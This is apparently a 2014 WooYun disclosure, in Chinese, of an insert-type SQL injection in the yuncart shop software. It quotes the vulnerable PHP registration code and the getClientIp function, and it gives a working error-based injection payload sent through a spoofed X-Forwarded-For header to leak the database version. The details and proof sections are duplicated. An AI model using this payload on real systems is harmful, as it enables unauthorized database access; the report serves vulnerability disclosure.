yuncart sql注入 1 | wooyun-2014-063919

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-063919

漏洞标题：

yuncart sql注入 1

漏洞详情

披露状态：

2014-06-09：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-09-07：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

yuncart sql注入

详细说明：

漏洞文件位于\include\front\user.class.php
第70行-第128行

/**
	 *  
	 * 保存注册用户
	 *
	 *
	 **/
	public function doreg() {
		//接收条件
		$uname		= trim($_POST["uname"]);
		$pass		= $_POST["pass"];
		$pass2		= $_POST["pass2"];
		$email		= trim($_POST["email"]);
		$referer	= empty($_SERVER["HTTP_REFERER"])?url('index','index'):$_SERVER['HTTP_REFERER'];
		
		//判断验证码
		$seccode	 = strtolower(trim($_POST["seccode"]));
		$sess_verify = '';
		if(isset($_SESSION['verify'])) {
			$sess_verify	= strtolower($_SESSION['verify']);
			//销毁verify
			unset($_SESSION['verify']);
		}
		if( !$seccode || ($sess_verify != $seccode)  ) {
			$this->setHint("wrong_seccode","error",url("index","user",'reg'));
		}
		
		//判断用户
		if(DB::getDB()->selectexist("user","uname='".$uname."'")) {
			$this->setHint("uname_exist","error",url("index","user",'reg'));
		}
		//密码
		$len = strlen($pass);
		if($len<4 || $len >20) {
			$this->setHint("pass_length_error","error",	url("index","user",'reg'));
		}
		if($pass != $pass2) {
			$this->setHint("pass_not_equal","error",url("index","user",'reg'));
		}
		if(!$email || !isemail($email)) {
			$this->setHint("email_error","error",url("index","user",'reg'));
		}
		
		//入库
		$data = array("uname"=>$uname,"email"=>$email);
		$data += encpass($pass);
		$data["regip"]	= getClientIp();->获取客户端ip
		$data["lasttime"] = $data["regtime"]= time();
		$uid = DB::getDB()->insert("user",$data);
		unset($pass,$data);
		
		//session;
		$_SESSION["uname"] = $uname;
		$_SESSION["uid"]   = $uid;
		
		redirect($refer);
	}

getClientIp()在\include\common\global_function.php中

/**
 *
 * 获取客户端IP
 * 
 */
function getClientIp(){
	if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
		$ip = getenv("HTTP_CLIENT_IP");
	else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
		$ip = getenv("HTTP_X_FORWARDED_FOR");
	else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
		$ip = getenv("REMOTE_ADDR");
	else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
		$ip = $_SERVER['REMOTE_ADDR'];
	else
		$ip = "unknown";
	return $ip;
}

获取ip的时候没有任何过过滤，导致了Insert型注入
使用Firefox插件修改x-forwarded-for

' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,version(),0x27,0x7e) )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

然后注册用户访问

然后确认提交爆出数据库版本信息

漏洞证明：

漏洞文件位于\include\front\user.class.php
第70行-第128行

/**
	 *  
	 * 保存注册用户
	 *
	 *
	 **/
	public function doreg() {
		//接收条件
		$uname		= trim($_POST["uname"]);
		$pass		= $_POST["pass"];
		$pass2		= $_POST["pass2"];
		$email		= trim($_POST["email"]);
		$referer	= empty($_SERVER["HTTP_REFERER"])?url('index','index'):$_SERVER['HTTP_REFERER'];
		
		//判断验证码
		$seccode	 = strtolower(trim($_POST["seccode"]));
		$sess_verify = '';
		if(isset($_SESSION['verify'])) {
			$sess_verify	= strtolower($_SESSION['verify']);
			//销毁verify
			unset($_SESSION['verify']);
		}
		if( !$seccode || ($sess_verify != $seccode)  ) {
			$this->setHint("wrong_seccode","error",url("index","user",'reg'));
		}
		
		//判断用户
		if(DB::getDB()->selectexist("user","uname='".$uname."'")) {
			$this->setHint("uname_exist","error",url("index","user",'reg'));
		}
		//密码
		$len = strlen($pass);
		if($len<4 || $len >20) {
			$this->setHint("pass_length_error","error",	url("index","user",'reg'));
		}
		if($pass != $pass2) {
			$this->setHint("pass_not_equal","error",url("index","user",'reg'));
		}
		if(!$email || !isemail($email)) {
			$this->setHint("email_error","error",url("index","user",'reg'));
		}
		
		//入库
		$data = array("uname"=>$uname,"email"=>$email);
		$data += encpass($pass);
		$data["regip"]	= getClientIp();->获取客户端ip
		$data["lasttime"] = $data["regtime"]= time();
		$uid = DB::getDB()->insert("user",$data);
		unset($pass,$data);
		
		//session;
		$_SESSION["uname"] = $uname;
		$_SESSION["uid"]   = $uid;
		
		redirect($refer);
	}

getClientIp()在\include\common\global_function.php中

/**
 *
 * 获取客户端IP
 * 
 */
function getClientIp(){
	if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
		$ip = getenv("HTTP_CLIENT_IP");
	else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
		$ip = getenv("HTTP_X_FORWARDED_FOR");
	else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
		$ip = getenv("REMOTE_ADDR");
	else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
		$ip = $_SERVER['REMOTE_ADDR'];
	else
		$ip = "unknown";
	return $ip;
}

获取ip的时候没有任何过过滤，导致了Insert型注入
使用Firefox插件修改x-forwarded-for

' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,version(),0x27,0x7e) )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

然后注册用户访问

然后确认提交爆出数据库版本信息

修复方案：

过滤ip

版权声明：转载请注明来源 zcy@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞